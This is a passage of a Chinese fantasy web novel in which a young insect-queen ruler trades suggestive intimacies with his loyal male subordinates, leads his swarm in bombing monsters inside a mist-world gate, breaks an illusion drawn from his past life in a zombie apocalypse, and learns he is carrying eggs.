小虫母朝赫弥珞扬扬下巴：“等东西做好，接下来的就看你的了。” 赫弥珞口干舌燥，他重重点头：“在此之前，冕下，您能答应我一个请求吗？” “什么？”利诺微微皱眉。 他被赫弥珞拉到了相对私密的放置屋内，安瑟姆守在外面，拉斐尔在负责士兵们制作炸药。 利诺坐在沙发上，晃着脚尖，显得漫不经心，“赫弥珞，你是唯一一只在我下命令后提要求的虫族。” 赫弥珞半跪在利诺的脚边，依恋痴迷：“冕下，我只是……没忍住。” 和虫母温存过的雄虫就算本性再严谨，也抵不过虫母在“制造奇迹”后的小得意。 漂亮死了，被利诺汲取优质基因的赫弥珞全身滚烫，疯狂地要贴近虫母。 利诺不解：“所以你要做什么？” 赫弥珞黏腻的目光停留在虫母的红润唇瓣上：“冕下，我可以亲吻您吗？” 他尝过那里的味道，知道冕下的唇有多甜。 利诺沉吟两秒，果断拒绝：“不要。” 他嫌弃赫弥珞的吻技：“你上次亲得我嘴巴都麻了，而且你又不像拉斐尔那样口腔内有蜜液分泌腺。” 没有蜜液分泌的嘴巴，尝起来干巴巴的，不好吃！利诺更喜欢吃有蜜液的嘴巴！ 赫弥珞一时之间不知道是失望还是羡慕拉斐尔那长在嘴巴里的蜜液腺。 周身的燥热继续冷静，赫弥珞退而求其次，盯上利诺的手：“冕下，那我可以……舔舔您的手吗？” 第30章 利诺：“……赫弥珞，你好变太哦！” 小虫母没被赫弥珞的请求吓到，只是费解地望了眼饥渴的赫弥珞，又低头看自己的手。 除了白了点、细了点，没有茧子外，怎么看都是一双普通的手，是所有虫族拟态的人形都不缺的肢体组织。 “冕下，可以吗？”赫弥珞声音沙哑，他曾舔舐过小虫母的每寸肌肤，清楚地知道舌尖与皮肤摩擦时的柔软芳香。 利诺的手骨节分明，比起其他虫族的要纤细精致太多，指尖圆润，修剪正好的指甲上泛着淡淡的粉。 赫弥珞是那一半紧盯利诺手指的虫群之一，他想舔舐，想吸吮玩弄，想看虫母脸颊微红的害羞模样。 “……”由于赫弥珞那双深紫竖瞳内的欲望太过旺盛，利诺仅仅纠结了一小会儿，把左手伸到虫族面前，“哼哼，拿你没办法！” 这是救了他、保护他的虫兽，当赫弥珞露出那种隐忍的情绪时，利诺就有点心软了。 虽然赫弥珞的要求很怪异，但吃吃手，应该也没大不了的……他可是个好首领，当然要尽量满足下属的各种要求啦！ “谢谢冕下对我的怜爱。” 高级虫族在利诺的手背上烙下一吻，粗厚的、比起正常人类要多了些倒刺的舌头卷着利诺的手指，湿润的口腔覆盖纤细的手指。 漂亮的小虫母哪里都是香香的，他光是站着都能够引起所有虫群的注意和迷恋。 就算是强大的高级虫族，也不会被排除在外，毕竟他们先是虫母的子嗣和丈夫，才是虫群本身。 “唔……你轻点！” 赫弥珞舌头上收敛的倒刺让利诺觉得痒痒的，很想攥住虫族作乱的唇舌。 赫弥珞舔舐的动作放轻了点，他小心翼翼地，用贪婪的口腔吃进利诺手指上的气味，银发遮挡他过于痴态的眼神。 利诺坏心眼上来，将赫弥珞的头发揉成乱团，然而赫弥珞全身心沉浸在虫母冕下的气味中。 况且就算他知道了，也只会纵容地让利诺多摸摸，被虫母冕下摸头发的感觉也很棒。 赫弥珞舔起来没完没了，利诺不知道手指有什么好舔舐的，处于赫弥珞口腔的食指抵在粗糙的舌面上，中指探进，与食指相互配合，捏住高大虫族的舌头，顺着舌上的虫纹摩挲。 代表赫弥珞高级虫族身份的虫纹生长在他的口腔内，舌头、上颚以及舌头下的软肉上。 赫弥珞的喉咙里溢出重重的闷哼，在被利诺用手指的挑逗中，虫纹扩展延伸，从唇角长出，银白色的繁复纹路，如同神秘的、有生命的咒文。 利诺抽出沾满雄虫唾液的口水，低头在雄虫嘴角的虫纹上啵唧一口，声线纯净，夹杂着诱哄：“好啦，赫弥珞，你该去执行你的任务了。” 赫弥珞被虫母玩弄得呼吸急促，他迅速调整呼吸，深深望了眼利诺，行礼后退出。 利诺的手指还湿漉漉的，打开了水龙头清洗，安瑟姆走进来：“冕下，所有运进来的材料都被使用完毕。” 利诺用绣着小蝴蝶的手帕擦掉手指的水渍，回答：“应该用不了太长时间就可以出去了！” 安瑟姆看着利诺的手指出神，他张了张嘴想要说什么，最后还是犹豫着没有发出声音。 利诺注意到这一点。他问道：“怎么了，安瑟姆，你想说什么？” 顺从又忠诚的虫族护卫长敛下双眸，声音闷闷的问：“冕下，您是让元帅阁下舔你的手指了吗？” 利诺有些惊讶安瑟姆会问他这个，但还是点了点头。 安瑟姆扭捏了一瞬，低声细语：“冕下，元帅阁下舔了你的手指，那我能否奢望舔您的脚？ 利落彻底傻了，他是真的不明白这些虫族一只只的都有什么毛病，他又不是糖果！ 但是安瑟姆可靠的形象在他心里立得很稳，利诺深吸一口气，耐心询问：“安瑟姆，你为什么会想要提出这种要求？” 安瑟姆磕磕绊绊，他有些羞耻，但还是如实回答，声音压得很低，确保可以让利诺听到。 护卫长说：“因为我很想亲近冕下，我渴望亲吻冕下……可是我没有资格做出那样过分的要求，也许我可以亲吻冕下的脚……” 安瑟姆的眸子躲闪，尽管他接受了完整的如何服侍虫母的教育，他也在期盼着哪一天可以幸运地得到这个机会，但要他真正地对着冕下说出他的渴求，他还是有些不好意思。 安瑟姆站在利诺的面前，等着冕下的最终审判。他以为他会从利诺冕下的口中听到拒绝二字，却没有想到利诺轻笑了一下。 冕下似乎并没有因为被冒犯而生气，安瑟姆小幅度地抬头。 利诺的语气带着一点俏皮，还有得意，他恍然大悟道：“哦～原来安瑟姆你喜欢我呀？” 小虫母艳丽的五官扬起明媚的笑容，他走近安瑟姆，无奈地表示他果然就是这么的有魅力！ 试问，他不当首领还有谁那当首领？他不当虫母还有谁能当虫母？ 利诺仰起头，吩咐害羞的虫族护卫队队长：“安瑟姆，弯腰，我够不到你。” 安瑟姆愣了愣，听从利诺的命令，保证利诺可以够到他。 接下来的事情超出了安瑟姆的意料，他心爱的小虫母捧着他的脸，在他的嘴上狠狠啾了一声。 这下轮到安瑟姆傻了，他结巴：“冕、冕下您……” 利诺拍了拍安瑟姆，心大道：“虽然你的嘴巴里没有蜜液，但是没关系！我还是可以亲亲你的，谁让你是我最忠诚的护卫长呢！” 安瑟姆并不算白的脸黑里透红，虫母冕下的话很直白，不夹杂半分暧昧的语气，但依旧让他心动不已。 那唇瓣上依旧残留的感觉告诉安瑟姆，就在刚才利诺冕下吻了他。 利诺咂咂嘴，道：“走吧，我们去炸怪物！” 亲吻对利诺而言没有什么感觉，只是触碰下，还没有吃拉斐尔嘴巴里的蜜液来的快乐，也没有杀怪物来得刺激。 这次虫群是倾巢而出，虫族士兵带来的材料不少，利诺认为希尔维乌斯把蓝星能找到的都搜集了起来，制造出来的炸药数量炸死那些怪物足够了。 利诺化成的小蝴蝶悠闲贴在安瑟姆的尾钩上，看着赫弥珞命令军部士兵开成不同的小队，在拼接怪物聚集的上方井然有序。 “赫弥珞的经验是不是很丰富？”利诺问，在统率虫群方面，他更多依靠靠着虫母能够意识海沟通虫群的便利。 但赫弥珞要更加熟练，即使不能靠精神力链接虫群，也可以最快调动每一支队的士兵。 安瑟姆回答：“元帅阁下自军校毕业进入军部，大概关过上百扇迷雾之门。” 利诺哇了一声，他需要学习的还有很多，等到了蓝星，他要继续笨鸟先飞、使劲儿学习，争取早日超过赫弥珞！ 虫族的尾钩环住艳羡的小虫母，安瑟姆安慰道：“元帅阁下已经一百多岁了，这很正常。但是冕下您破壳还不到二十年，就已经关上两扇门，每次都几乎零伤亡。” 他温柔地鼓励利诺：“在我看来，您比元帅阁下更加优秀！” 利诺猛地转头：“你说赫弥珞多少岁了？” “一百多，详细的岁数您需要问元帅阁下。” 利诺咕哝：“怪不得蜜液分泌出一两口就没了，原来是老了啊……” 安瑟姆眼神怪异：“虽然……但是元帅阁下正处于壮年期。” 一只虫族的寿命很长，且越是实力强大的虫族，寿命越长。 然而大多数虫族都活不到自然老去，在一两百岁的年龄段会因为意识海紊乱和崩塌而死。 利诺也知道，抚养他的院长去世的年龄起码超过了一千岁，但除了这个原因，他想不到其他的原因。 小蝴蝶猜测道：“或许一只虫族在过了百岁后，蜜液分泌腺就会萎缩？” 不然赫弥珞胸肌那么大，蜜液却少得可怜？ 利诺化作拟态，白粉头发的青年审视：“安瑟姆，你多少岁了？” 安瑟姆被虫母看得心慌：“我还差两岁就满一百岁了……” 他慌慌解释：“冕下，我发誓我的蜜液分泌腺非常正常！” “我检查检查！”利诺有点害怕喝不到好喝的椰奶味蜜液，他摸到安瑟姆的肩胛骨，从制服的下摆伸进去。 雄虫的翅膀潜伏在体内，利诺准确碰到皮肉下的轻微鼓起，是每只雄虫都有的、用来分泌蜜液的腺体。 安瑟姆急急喘息，即使利诺的动作偏向挑逗，他也只是表情难耐，顺从地让利诺检查，简直是温顺的大狗狗。 说是检查，利诺不清楚正常的分泌腺是什么样子的，他象征性地摸了摸，指尖便多了金黄的液体。 利诺将蜜液吃掉，煞有其事点头：“不错，安瑟姆你的很健康。” 雄虫被无知无觉的小虫母欺负得有了反应，好在今天穿的衣服够宽松，没有太显眼。 利诺闹够了，继续乖巧地待在尾钩上，观看战场的形式。 小蝴蝶能干什么坏事呢？他只是好心地检查了一只雄虫的翅膀！ 不远处，随着赫弥珞的虫吼，无数简易的炸药从天而降，准确落到拼接怪分布最密集的各处。 很显然，怪物的身体禁不起炸药的摧毁，断肢残臂在爆鸣中飞舞，黑烟滚滚。 全部的炸药用光，地面已然被浓烟和尘土笼罩，完全看不出来内里的状况。 虫群耐心等待浓黑褪色，原来的地面炸成了大坑，层层叠叠着怪物残缺的尸体，炸药的威力有限，还有小量怪物只是受伤，没有死去。 但利诺的方法很有效，那上千万的怪物现在百不存一，以门内虫群的数量完全能够处理。 拉斐尔领着另外的虫群，跃至地面处理剩下的怪物，要不了几小时就可以处理干净。 利诺意识到他这个方法的缺点，那就是残缺的肉块太多，被炸得乱七八糟，要寻觅其中的门钥匙远比杀怪物的任务还要艰巨。 怪物处理完，为了可以尽快关闭这扇迷雾之门，所有虫族都发动起来将怪物们的碎尸块堆积在一起，去搜索可能出现在各处的钥匙。 “好臭！”利诺捏住鼻子，这些怪物被皮格尼族以某种科学和非科学的方式结合改造，在死去后会迅速腐烂发酵，都快赶上丧尸群的味道了。 然而问题是利诺上辈子没这辈子这么敏锐的五感，利诺的嗅觉要坏掉了。 安瑟姆像变戏法一样，又掏出一个小手帕让利诺捂鼻子。 利诺摇头拒绝了，他会迅速习惯这种味道，小蝴蝶好强，他不想被其他的虫子比下去。 既然安瑟姆他们能面不改色地身处腥臭的尸场，没道理他利诺不行！ 虫群不会过分苛求虫母，但架不住虫母自己苛求自己，安瑟姆无奈地将手帕放进利诺的口袋内：“冕下，您先拿着。” 利诺屏住呼吸，脸颊红彤彤的，吸引了许多虫族若有若无的视线。 坚持要与士兵同甘共苦的利诺飞到皮格尼的科研所，他住过的建筑已经变成一片废墟。 赫弥珞将废墟上的金属、栏板等碎片汇集起来，露出一小片光秃秃的土地。 一点白色的东西吸引了利诺的注意，他走过去，用脚踢开四周的土，看清楚那点白是什么。 是骨头的一角。 利诺蹲下身，拿来个一片将沙土挖开，骨头逐渐显露，却仍然看不到边缘。 无论是身体哪个部位的骨头，在利诺挖了这么一大会儿都应该有个大概的轮廓了，这块骨头却没有，它大得出奇，也白得不正常。 “冕下，我来挖，您休息就好。”赫弥珞走过来，擦拭利诺手指沾上的泥土。 利诺拉来赫弥珞：“多叫几只虫族，挖这里的骨头。” 赫弥珞点头，将小虫母恢复干净的手放在自己脸上，吸了口属于利诺的味道。 利诺拍打在赫弥珞的厚脸皮上，没用力，声音清晰，他无语道：“元帅阁下，正经点。” 赫弥珞抓紧时间再次深深吸入利诺的气息：“遵命，冕下。” 挖掘骨头的虫族越来越多，因为骨头太大了，只要虫族不傻，都能察觉出这骨头的异常。 上百只虫族一起挖，利诺最先发现的骨头才显露出个大概，是一截类似人形的手指关节。 拉斐尔扶正没有度数的金丝眼镜，迅速从手指关节的长度心算该生物的大小：“如果按照拟态人形的正常比例计算……” 他慢慢道：“该生物的身高起码有两千米。” 两千米是个什么概念？利诺只知道很高很高，他哇了一声：“这是个什么生物？” 拉斐尔摇头：“冕下，我从没听说过有这般大的生物。” “先挖，把这东西的手先挖出来！”利诺决定，于是几乎所有的虫群都来挖巨大生物的手骨。 全白的、不含一丝血肉的手骨沉睡在土壤中不知道多少岁月，在许多年后的今天重见天日。 但手骨不过是巨大生物的一小部分，还有更多无法丈量的骨头于地下掩埋。 骨头白得发光，迷雾世界内的上空笼罩的是黑雾，也没有影响骨头散发出晶莹圆润的光。 预感告诉利诺，他要寻找的门钥匙和骨头有关系，然而那张手骨全然袒露，虚握的掌心内干干净净。 难道在另外一边的手骨上？ 利诺正思考间，一只大掌握住他的腰，往后拽。 赫弥珞将利诺拉到身后，安瑟姆和拉斐尔将利诺包围起来，他们面色不是很好。 地面摇晃，像是地震，而保持虚握姿势的手掌诡异张开，时空有一瞬的扭曲，一把巨大的精致骨钥悬浮在白骨的掌心。 意识瞬间模糊，黑暗占据视线，利诺茫然地眨动眼睛，眩晕感传来。 诡异的力量爆发，利诺在无声的黑暗中似乎被什么东西撞击在地，他闭上眼。 再睁开眼时，利诺的鼻尖嗅到肉腐烂的臭味，还有扑面而来的缺了半边面皮的脸。 一声枪响从利诺的身后传出，子弹射穿丧尸的头，副队长怒吼：“队长，别发呆，丧尸围过来了！” 利诺从呆愣中回过神，四面八方的丧尸快速冲过来，这些丧尸都是进化过的，速度不亚于成年男性奔跑时的速度，其中还有几只变异的丧尸动物。 他先是掏枪，按动扳机，子弹早没了，于是利诺赶忙掏出斧头，朝逼近的丧尸砍去。 副队长和利诺背贴背，拿着把开锋的铁剑砍杀被活物吸引而来的丧尸。 副队长骂骂咧咧：“好好的你小子发什么呆？我留给自己的最后一颗子弹都没了！” “回基地还给你！”利诺吹了声口哨，一只养的毛发发亮的黄狗威风凛凛跑过来，呜呜汪汪地叫，与一只杜宾丧尸犬缠斗。 “我们还有希望回去吗？”副队长看了眼身后同样苦苦抵抗的其他队友，露出悲怆的表情，“狗日的许创不得好死，给我们假消息，让我们来这里送死！” 利诺杀丧尸的动作不停，眸中满是冷意：“我会带你们安全回去，还有许创，我会把他的头砍下来喂小黄！” 小黄狗凭借较小的体型和灵活的身姿撕掉丧尸犬的头，听到利诺的声音，顿时不高兴地嗷呜了声。 “好好好，不喂给你，喂丧尸！”利诺连忙哄小黄狗，耸了耸肩对队友们说，“你看，狗都嫌弃许创那老东西。” 队友们包括悲观居多的副队长被一人一狗给逗乐。 利诺发现自己的力气大了很多，再强的丧尸在他面前都是等待被砍的大西瓜。 在下一波丧尸来临前，利诺带着队友们找到城市内相对安全的隐藏地点。 杀掉的里面游荡的几只丧尸，用桌柜挡住门窗，众人长呼一口气，彼此挤坐在地面上。 “队长，你怎么突然变强了这么多？你又什么时候背着我们开卷了？”有人开口问。 利诺拄着下巴：“好像做了个很长很长的梦……梦见我成了什么首领？超级厉害的那种！” “只有许创死了，你才能当上基地的一把手。”副队长摸了把血污的脸，骂骂咧咧着基地首领许创是个大傻比。 利诺冷声：“回去就剁了他！” “你不是说许创坑了你什么东西，你杀不掉他吗？”副队长稍微冷静下来，听出利诺的坚定。 利诺迷茫一瞬：“只是突然觉得，那都不重要了。只有……” 只有什么是重要的？利诺摸着小黄的毛，他竟然完全不记得了。 他看着周围抓紧时间吃食物的队友们，居然很陌生。 “想通了就好，我们会帮你，等你成了基地首领，记得苟富贵勿相忘，带我们一起吃香的喝辣的！”副队长欣慰地对少年模样的利诺说，他咬了口干巴面饼子，又随意扔给黄狗两块，黄狗不挑，跳起来一口吞下。 利诺不过十五岁，但已经爬到副首领的位置，还有很多的支持者，只是这也引来了首领许创的敌意。 这次他们进入全是进化丧尸的城市内寻找物资，就是许创隐瞒关键情报，为了让利诺和他的小队死在外面。 利诺歪头，笑道：“当然啦，作为我的好下属们，你们全都得升职！” 利诺没心情吃饭，他总感觉违和，坐在地上出神。 突然，一个队友捂住脖子，肤色迅速变得铁青，眼珠转化成混浊的白，他变成了丧尸！ 但他不是个例，除了利诺，所有人都在向丧尸转化，还有利诺驯服的小黄狗，柔顺的皮肤黯淡腐烂。 利诺瞳孔地震，向来杀丧尸杀到亢奋的少年此时不知所措，就像末世前还在上学的中学生。 “食物有、有病、毒……”刚还和利诺聊天的副队长喉咙开始嘶吼，他保留着一丝理智，对利诺道，“快！快杀了我们！队长……吼！” 丧尸模样的副队抵抗不住人类的诱惑，朝利诺扑了过来。 狭小的空间内，一只丧尸犬和几头丧尸被病毒占据身体，没了以往对利诺的崇拜和欣赏，瞳孔溃散的眼睛里装满对血肉的渴望。 利诺拿着斧头的手剧烈颤抖。 “咚！咚！咚！” 几只头颅落地，利诺沾满同伴鲜血的斧头也落了地。 利诺大口喘气，随着最终选择的实施，失去的记忆也重新回来。 “哈，你这次为什么要杀你的同伴呢？”一只巨大的手骨拨走门窗，隐蔽在柔光后的骨架很高很高，它的声音刺耳，难听极了。 利诺盯着手骨：“他们死了，不是我的同伴。” “那为什么上一次你没有反抗？被同伴吃的滋味很好吗？” 利诺眯眼：“我说，你管的太宽了……还有，你妈妈没有告诉你，随便窥探别人的记忆是一件很失礼的事情吗？” 他厌恶白骨用这种轻飘飘的语气说起他上辈子的最后时刻。 面对同样的境地，他虽然做了不一样的选择，但对于他而言，都是正确的。 上一辈子，利诺心智尚未成熟，在面对首领的处处打压下节节败退，最后导致陪伴他数年的队友惨死，他没有反抗，是因为他心灰意冷，他再也没有和这个糟糕末世的联系了。 这一次他选择反击，是因为他还有需要他的虫族，他不能死，以及他如今清楚地明白，他的队友已经不在了，杀死他们被病毒操纵的身体，才能让他们真正解脱。 但这些，都不关这具骨架的事。 无数道精神丝线在白骨的四周潜伏，利诺仰起下巴，挑眉：“臭骨头，去死吧！” 虫母强悍的精神力刺入白骨，在柔光下肆意搅动，直至柔光下的白骨彻底碎裂。 “等等，我只是……”白骨显然没有意识到虫母精神力的浩瀚。 利诺压根不听，白骨破碎还不算完，无数条精神力将白骨碎片碾压成粉末。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 上辈子死前的场景也如同白骨一般四分五裂，经过片刻的黑暗后，利诺仍旧站在迷雾世界的原地，抬头就能看到压迫感十足的巨大白骨。 果然是一场幻境。 不止利诺，所有的虫族都被卷入了属于自己的幻境。 利诺带进迷雾之门的虫族数量很多，之后又有一队送制作炸药材料的士兵进入。 也许是因为需要模拟的幻境太多，耗费了白骨很多气力，才让利诺可以借助精神力去杀死这种制造环境的力量。 利诺看向挖出来的手骨，上面的光泽消散，白骨早已死去，一切不过是残留在白骨上的部分力量搞得鬼。 在利诺的精神力通过幻境打散这股力量，所以的虫族也从幻境中醒来。 好些虫族还没有分清虚幻和现实的区别，利诺清楚看到一大堆虫族抹着眼泪，扯着嗓子哀嚎：“冕下，我不要割除蜜液分泌腺！” “冕下呜呜呜不要抛弃我！” “妈妈！妈妈！呜呜呜！我要妈妈！我要冕下！” 利诺一脸问号，这些下属都在那该死的幻境里看到了什么！ 虫族没有经历过这样的训练，本身的意识海和精神力就比不上那白骨上残留上力量，根本没有抵抗的余力。 赫弥珞皱着眉，瞳孔几乎收缩成一道针芒：“冕下，你流了好多血……不生了！不要生了！” 安瑟姆低垂眉眼，尽是失落：“冕下，我怎么连吻您脚的资格都没有了……” 拉斐尔满头冷汗：“冕下，我没有给赫弥珞皇后下毒！一定是安瑟姆贵妃陷害的我！我愿意自证清白！” 利诺简直听不下去，都是什么乱七八糟的，他链接虫群的意识海，精神触角在每只虫子代表的星点上重重甩了个巴掌。 陷入幻境的虫群这才彻底清醒，先是着急地寻觅利诺的身影，发现利诺正阴沉沉的脸时紧绷惶恐不再。 真好，刚才经历的都是假的，利诺冕下没有放弃他们！没有嫌弃他们！也没有强迫他们必须割除蜜液分泌腺！ 利诺掠过虫群，最后放在赫弥珞、拉斐尔和安瑟姆的身上。 这三只雄虫眼神躲闪，一看就知道进入的幻境和利诺有关，而且肯定不是美好的幻境。 利诺双手合拢在胸前，右脚的脚尖烦躁地点击地面，平整的土地出现一个小小的凹陷。 “回去后，对幻境这类情况的脱敏和训练要添加在对虫族的必备技能掌握中！” 最终，利诺善良地没让这些虫子说出他们的幻境内容，而且轻轻带过，发布了一个命令。 拉斐尔正是负责这一方面的，他连忙道：“冕下，您放心，我一定会尽快实施这类课程！” 利诺点头，冷不丁地问拉斐尔：“你在后宫是什么位置？” 拉斐尔脱口而出：“贵人。” “噗！”好小的职位，利诺用拳头抵住嘴，给拉斐尔留了个面子，没有当场笑出来。 “冕下！”拉斐尔刚从幻境出来，意识海不算稳定，从来都是他套别的虫子的话，结果今天反到被利诺套出那令虫羞耻的职位！ 在拉斐尔的心中，利诺是只漂亮单纯又天真的小蝴蝶，而如今，小蝴蝶依旧漂亮，但是只芝麻馅的。 利诺不让自己的唇角上扬的幅度太大，象征性地鼓励受伤的下属：“继续努力，拉斐尔贵人！” 调笑完，也是时候破解这扇迷雾之门了，利诺走到白骨边，抬手。 巨大的银钥不断变小，最后保持成正常大小的钥匙，飘到利诺的手里。 精巧的银钥得不来利诺的不舍，他合上手指，银色的粉末从手指的缝隙内飞舞。 钥匙被销毁，迷雾世界正在消散，笼罩的黑雾、泥土、无数怪物的尸块都在极速褪色，直至完全透明。 在最后的时刻，利诺看到了掩埋在地下的巨大尸骨，足足两千多米的类人白骨，像是婴儿在羊水里蜷缩的姿态，一只手抱着膝盖，另外一只手则伸出来，手掌朝上，虚虚握着被利诺捏碎的钥匙。 畸形的头颅属于眼睛的两个空洞仿佛还带着死前的迷茫和哀伤。 利诺不是很舒服地移开视线，白骨生物死前遭遇了什么他不清楚但看样子很无助，好像都不知道自己为什么要死？ 当利诺想要再看上一眼那白骨巨大的身躯，迷雾世界彻底消失，在太空涌现的黑雾也彻底溃散。 赫弥珞乘坐的飞船被撞成了碎片，因此跟着利诺他们回到原本的星舰上。 几只高位虫族在星舰的会议室内讨论这次的迷雾之门。 利诺坐在主位上懒懒打了个哈欠，在这个迷雾之门内他使用意识海很频繁，在成功关门后身心俱疲，但依旧强撑着听其他虫族的分析。 他经验不多，在迷雾世界内可以发挥不小的作用，但要说起迷雾之门的成因和其他迷雾之门的对比，他就不是很了解了。 “冕下，先喝点热水提提神。”安瑟姆心疼疲惫的小虫母，却无法让他休息，他了解利诺在这些事情上的坚持和原则 “谢谢安瑟姆。”利诺喝了口，继续听虫族的分析。 “加上元帅十三年前的那扇门，这已经是第三扇怪物有意识的门了。”拉斐尔调整镜片，“我怀疑门也在进化，之后我们关门的策略也应该改进，不能像以往那样单纯杀戮。” 赫弥珞点头：“我同意拉斐尔参谋长的提议，当然，冕下的炸药在这次有很大的帮助。既然门不允许我们携带热武器，我们可以沿用冕下的想法，将部分零散的零件带进去，然后组装。” 负责会议记录的秘书虫族借助腕表记录会议内容，时不时动手修改出更加准确的记录。 “可以。另外，我还要提出一个假设，这是冕下与我一同发现的成果。”拉斐尔柔柔望向利诺。 利诺喝水的动作停下，然后懵懵地用食指指向自己：“啊？我？” 虫母是真的累坏了，但还是要参与会议，困到不行犯迷糊的样子真是……太可爱了！ 形容词不约而同地在参与会议的众虫想法里浮现。 拉斐尔的笑意加深：“其实是冕下最先提醒我的。门内建立基地的种族叫皮格尼，是迷雾来临前的星际原种族。” “虽然迷雾毁掉了差不多所有的文明和记载，但是，也许我们遇到的每种怪物都是星际原种族，亦或他们制造出来的生命体。” 安瑟姆为利诺添加热水，问道：“知道这个对现在的情况有什么帮助？” “通过这个线索，我们也许可以找到迷雾降临的原因，然后彻底消灭迷雾。”拉斐尔道。 迷雾一日不除，威胁虫族的隐患就存在一日。 借助投射影像参与会议的希尔维乌斯坐在办公室内，眉眼冷峻：“我持保留意见，但拉斐尔参谋长可以做出尝试。” 他敲打着桌面，和本虫无二的影像转头注视利诺：“冕下，听说你们在这次的门内遇到了幻境？您可以详细说下您是如何撕裂幻境的吗？” 利诺省去自己在幻象中的经历，简单说出用精神丝线杀死白骨的过程。 被希尔维乌斯这么一问，利诺将两次的迷雾之门联系起来，他沉吟稍许：“我觉得，我在上个迷雾世界遇到的眼球和这次的白骨应该是同一个生物。” 他解释：“我的意思是他们不属于一个种族，但生命层次应该是一样的……给我的感觉很相似。” 利诺不知道自己有没有解释清楚，他自己也说不清楚，那种相似感很玄妙。 算是经历过这两次迷雾世界的赫弥珞略微沉吟，然后问：“冕下，您的意思是不是他们都是某种掌握了某种相似的力量？” “对，就是这个意思。” 利诺靠着椅背：“这种力量没有超出虫族的范畴，和我们的精神力很像，但应该超出了迷雾来临前的星际种族的理解范畴。” 他歪头：“大概就是被称作神的生物？” 会议结束，利诺被赫弥珞抱着回了自己的房间。 他掀起沉重的眼皮：“怎么是你？” 赫弥珞打开浴室的自动清洁装备：“安瑟姆说您睡前会洗澡，但今天您太累了，最好有虫帮助您。” 和小虫母亲密过的赫弥珞成了最适合的选择。 利诺唔了声，他确实要洗澡，却也累得不想动，有虫族服侍当然最好。 “那你不要动手动脚哦！”利诺的声音含糊，乖顺地让赫弥珞脱他身上的衣服，没有瑕疵的身体被灯光镀上一层淡淡的光晕，神圣不容侵犯。 他们的虫母远比那些未知的生物更像一位神明。 “冕下放心，我不是那种虫。”赫弥珞呼吸暂停，将小蝴蝶放进水温适中的浴缸内，细致为虫母擦洗。 利诺扬起手，水花打湿赫弥珞的衣服，在进入房间后，赫弥珞就脱掉外套，只留下一条黑色薄西裤和铲山。 肌**壑分明，利诺脑子累到放空，开始数赫弥珞的肌肉。 “冕下，请您闭上眼。”赫弥珞没有被培训照顾虫母的经历，但每一只虫子似乎都天生懂得如何服侍虫母，只需要稍微开发。 赫弥珞让利诺靠过来，洗发液挤出来打在染湿的白粉发丝上，揉搓几下，泡沫挤满柔顺的头发。 小虫母乖得不行，呼吸均匀打在赫弥珞的胸口，有些热热的鼓胀，赫弥珞的动作更轻了。 利诺闭着眼睛让赫弥珞给自己洗头发，虫族的胸口硬邦邦的，他靠着不舒服。 于是张开嘴，准确咬住赫弥珞一侧的胸肌，虫族闷哼了声，肌肉崩得更紧：“冕下，您对我的服侍不满意吗？” 当然不满意，肉太硬了，而且赫弥珞怎么可以练出这么完美的肌肉！简直是他梦寐以求的身材！ 羡慕的利诺使小性子，不满地加大咬虫族肌肉的力量，再尝到一点血丝后后知后觉自己的力道太大，又连忙伸出舌头在牙印上舔舐。 这点安抚并不能让赫弥珞冷静，反而让他的身体更加紧绷。 被利诺的舌尖勾得**燃烧，赫弥珞只得加快给虫母清洗的速度。 赫弥珞的肌肉更硬了，利诺舔了会儿不见变软，又愤愤地咬住另一边的胸肌不撒嘴。 等赫弥珞被折磨着终于帮利诺清洗干净，头发也吹干后，利诺还是没有松嘴。 赫弥珞低头，就见利诺咬着睡着了，眼睛下方挂着一点阴影。 高级虫族心软的一塌糊涂，他小心抱起利诺，保持一种怪异的姿势和利诺躺在床上。 利诺醒过来，眼睛都没睁开就开始找饭吃。 他先是咂了咂嘴里健壮肌肉，没味道，嫌弃地吐出来，手摩挲着赫弥珞的翅膀。 赫弥珞的蜜液也很好闻，是他两世都没吃过的食物味道，很香很甜。 利诺睁开一只眼，警惕问：“你的蜜液不会还只有一两口吧？” 赫弥珞把翅膀塞到利诺的手里，解释：“上次是失误，冕下，这次肯定能把您喂饱。” 利诺怀疑地开始进食。 赫弥珞没说谎，利诺叼着翅膀尖有些欣慰：“蜜液分泌腺不会在一百岁后就枯竭就好。” “……”赫弥珞无奈，“冕下，您放心，我分泌的蜜液足够您享用。” 利诺吃得很饱，紧接着赫弥珞的手掌覆盖住利诺轻微鼓起的肚皮，收起虫翼：“吃太多对您的身体不好。” 顿了下，赫弥珞又问：“冕下，你有觉得身体不舒服吗？” 利诺不解地问：“哪里不舒服？” “比如恶心想吐？心情郁结？”赫弥珞的语气满是担忧和恐惧。 “没有。”利诺仔细想了想，“我唯一不舒服的地方就是……” 在赫弥珞紧张地注视下利诺继续道：“就是你太硬了！” 利诺漾着甜笑，实则暗藏威胁：“赫弥珞，你要是继续硌我，我就让你成为太监虫！” 赫弥珞不明白太监虫是什么，但利诺笑容好看却有点可怕：“抱歉，冕下您太香了。” 利诺从赫弥珞身上丝滑滚到床上：“我今天要休息一天，你先忙你的事去吧。” 赫弥珞恢复到全盛时期，确实有很多事务需要处理，退至床尾，他低头在利诺白皙的脚趾轻轻吻了下：“冕下，您好好休息。” “再见～”利诺懒洋洋地招，他难得想放纵一天，于是躺在床上看起拉斐尔发给他的那本宫斗小说。 突然，利诺感受到意识海的波动，他闭上眼潜入意识海内，就看到树上的白果在疯狂地摆动。 一走进去就听进乱糟糟的哭声：“妈妈！妈妈！想妈妈！” 利诺被吵得脑壳疼，他可不是位多和善的母亲，当即操纵精神触角一只果子抽了一巴掌。 意识海重归安静。 最大的果子抽抽噎噎：“妈妈，我好想你，你都不来看看我。” 汲取了赫弥珞基因的果子又可以通过精神力和利诺说话，颗颗委屈得不行。 “这不来看你们了吗？还有，不是说不要喊我妈妈吗？” “妈妈就是妈妈！”果子害羞道，“妈妈我们快要破壳了。” “破……壳？”有种不好的预感在他的心头升起。 最小的果子也是最安静的：“我会变成妈妈最喜爱的子嗣！” 果子是虫蛋早有预兆，毕竟能说话，喊他妈妈，还需要其他虫族的优秀基因……只是利诺当惯了男性，一直没往那里想，而是自欺欺虫，把果子当成吃了就能变强的宝贝。 利诺木着脸，把所有的果子数了一遍，安抚住不安的蛋们，从意识海出来。 他摸了摸肚子，想起意识海在脑子里，于是又摸摸脑子…… 完蛋！他怎么生虫蛋？虫蛋在意识海内怎么出来？他自己都是从培育所的蛋里爬出来的！对这事一点经验都没有！ 